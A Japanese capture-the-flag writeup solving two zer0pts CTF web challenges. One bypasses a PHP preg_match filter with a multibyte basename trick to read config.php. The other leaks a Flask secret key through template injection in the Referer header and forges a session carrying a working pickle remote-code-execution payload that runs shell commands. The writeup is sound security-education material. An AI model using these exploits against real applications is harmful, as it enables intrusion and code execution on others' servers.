zer0pts CTF Writeup
3月7日から3月9日にかけて開催された zer0pts CTF に参加し,チーム「KUDoS」は431チーム中27位でした.
私が解いた問題のWriteupを書いていきます.
Web
Can you guess it? (First Blood)
与えられたURLにアクセスします.
とりあえずソースコードを見ます.
<?php include 'config.php'; // FLAG is defined in config.php if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("I don't know what you are thinking, but I won't let you read it :)"); } if (isset($_GET['source'])) { highlight_file(basename($_SERVER['PHP_SELF'])); exit(); } $secret = bin2hex(random_bytes(64)); if (isset($_POST['guess'])) { $guess = (string) $_POST['guess']; if (hash_equals($secret, $guess)) { $message = 'Congratulations! The flag is: ' . FLAG; } else { $message = 'Wrong.'; } } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>Can you guess it?</title> </head> <body> <h1>Can you guess it?</h1> <p>If your guess is correct, I'll give you the flag.</p> <p><a href="?source">Source</a></p> <hr> <?php if (isset($message)) { ?> <p><?= $message ?></p> <?php } ?> <form action="index.php" method="POST"> <input type="text" name="guess"> <input type="submit"> </form> </body> </html>
config.phpにflagが書かれており,入力した値がbin2hex(random_bytes(64))
と等しければflagが出力されますが,どう考えても不可能です.
ここで,highlight_file(basename($_SERVER['PHP_SELF']))
が気になります.index.phpのコードを出力させるためだけならば,わざわざbasename($_SERVER['PHP_SELF'])
を引数にしませんし,その前にpreg_match
で弾く処理なんてしません.よって,この箇所でconfig.phpのソースコードを表示させれば良さそうです.
しかし,単純にhttp://3.112.201.75:8003/index.php/config.php?source
にするだけではpreg_match
で弾かれてしまいます.http://3.112.201.75:8003/index.php/config.php/hoge?source
とすれば,preg_match
は回避出来ますが,今度はbasename($_SERVER['PHP_SELF'])
がhoge
になってしまいます.
ここで,PHPのbasename関数でマルチバイトのファイル名を用いる場合の注意 | 徳丸浩の日記の記事を見ると,basename
はロケールを正しく設定しないと,先頭のマルチバイト文字が消えてしまう現象があるようです.試しにhttp://3.112.201.75:8003/index.php/テスト.txt?source
を入力してみると次のようなエラー表示が出ます.
basenameの引数には.txt
が入っており,マルチバイト文字が消えています.これを利用して.http://3.112.201.75:8003/index.php/config.php/テスト?source
と入力すると
フラグが出ました.
flag:zer0pts{gu3ss1ng_r4nd0m_by73s_1s_un1n73nd3d_s0lu710n}
notepad
与えられたURLにアクセスします.
とりあえず,配布されたソースコードを見ます.
import flask import flask_bootstrap import os import pickle import base64 import datetime app = flask.Flask(__name__) app.secret_key = os.urandom(16) bootstrap = flask_bootstrap.Bootstrap(app) @app.route('/', methods=['GET']) def index(): return notepad(0) @app.route('/note/<int:nid>', methods=['GET']) def notepad(nid=0): data = load() if not 0 <= nid < len(data): nid = 0 return flask.render_template('index.html', data=data, nid=nid) @app.route('/new', methods=['GET']) def new(): """ Create a new note """ data = load() data.append({"date": now(), "text": "", "title": "*New Note*"}) flask.session['savedata'] = base64.b64encode(pickle.dumps(data)) return flask.redirect('/note/' + str(len(data) - 1)) @app.route('/save/<int:nid>', methods=['POST']) def save(nid=0): """ Update or append a note """ if 'text' in flask.request.form and 'title' in flask.request.form: title = flask.request.form['title'] text = flask.request.form['text'] data = load() if 0 <= nid < len(data): data[nid] = {"date": now(), "text": text, "title": title} else: data.append({"date": now(), "text": text, "title": title}) flask.session['savedata'] = base64.b64encode(pickle.dumps(data)) else: return flask.redirect('/') return flask.redirect('/note/' + str(len(data) - 1)) @app.route('/delete/<int:nid>', methods=['GET']) def delete(nid=0): """ Delete a note """ data = load() if 0 <= nid < len(data): data.pop(nid) if len(data) == 0: data = [{"date": now(), "text": "", "title": "*New Note*"}] flask.session['savedata'] = base64.b64encode(pickle.dumps(data)) return flask.redirect('/') @app.route('/reset', methods=['GET']) def reset(): """ Remove every note """ flask.session['savedata'] = None return flask.redirect('/') @app.route('/favicon.ico', methods=['GET']) def favicon(): return '' @app.errorhandler(404) def page_not_found(error): """ Automatically go back when page is not found """ referrer = flask.request.headers.get("Referer") app.logger.info(app.secret_key) if referrer is None: referrer = '/' if not valid_url(referrer): referrer = '/' html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer) return flask.render_template_string(html), 404 def valid_url(url): """ Check if given url is valid """ host = flask.request.host_url if not url.startswith(host): return False # Not from my server if len(url) - len(host) > 16: return False # Referer may be also 404 return True def load(): """ Load saved notes """ try: savedata = flask.session.get('savedata', None) data = pickle.loads(base64.b64decode(savedata)) except: data = [{"date": now(), "text": "", "title": "*New Note*"}] return data def now(): """ Get current time """ return datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') if __name__ == '__main__': app.run( host = '0.0.0.0', port = '8001', debug=False )
まず気になるのは,投稿内容をpickle化したものをsessionに格納していることです.pickleには任意コード実行の脆弱性(参考:Pythonの外部入力をunpickle化することによる脆弱性を検証した - 脱力系日記)があり,今回はsessionを書き換えることが出来れば,任意コードが実行出来ます.
sessionを書き換えるためには,アプリのSECRET_KEYを知る必要があります.ここで,page_not_found
関数に注目します.
@app.errorhandler(404) def page_not_found(error): """ Automatically go back when page is not found """ referrer = flask.request.headers.get("Referer") app.logger.info(app.secret_key) if referrer is None: referrer = '/' if not valid_url(referrer): referrer = '/' html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer) return flask.render_template_string(html), 404 def valid_url(url): """ Check if given url is valid """ host = flask.request.host_url if not url.startswith(host): return False # Not from my server if len(url) - len(host) > 16: return False # Referer may be also 404 return True
HTTPヘッダのRefererを文字列に直接format
してから,テンプレートエンジンでレンダーしています.Refererを偽装することで,referrer
を任意の文字列にすることが出来るため,SSTIの脆弱性があります.ただし,valid_url
により,referrer
は"http://3.112.201.75:8001/" + "(15文字以内の文字列)"
でなければいけません.SECRET_KEYが格納されているconfig
を表示させるために,Refererをhttp://3.112.201.75:8001/{{config}}
に偽装して,404エラーになるページにアクセスします.
少々見づらいですが,SECRET_KEYはb'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I'
であることが分かります.(ちなみに,valid_url
による文字数制限がなければ,SSTIによって任意のコマンドが実行できます)
SECRET_KEYが判明したので,sessionを書き換えていきます.SECRET_KEYを同じものにしたFlaskアプリをローカルで立ち上げて,任意コードを実行するpickleを格納したsessionを作成します.
import flask import pickle import base64 import datetime app = flask.Flask(__name__) app.secret_key = b'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I' class Exploit(object): def __reduce__(self): import subprocess return (subprocess.check_output, (['ls'],)) @app.route('/', methods=['GET']) def index(): data = [{"date": now(), "text": Exploit(), "title": "*New Note*"}] code = pickle.dumps(data) flask.session['savedata'] = base64.b64encode(code) def now(): """ Get current time """ return datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') if __name__ == "__main__": app.run( host='0.0.0.0', port='8002', debug=False )
作成したsessionに書き換えると,ls
コマンドが実行され,ファイル一覧が表示されます.
flag
ファイルを表示するためにExploit
クラスを修正します.
class Exploit(object): def __reduce__(self): import subprocess return (subprocess.check_output, (['cat', 'flag'],))
新しく作ったsessionに書き換えると,cat flag
コマンドが実行され,flagが表示されます.
flag:zer0pts{fl4sk_s3ss10n_4nd_pyth0n_RCE}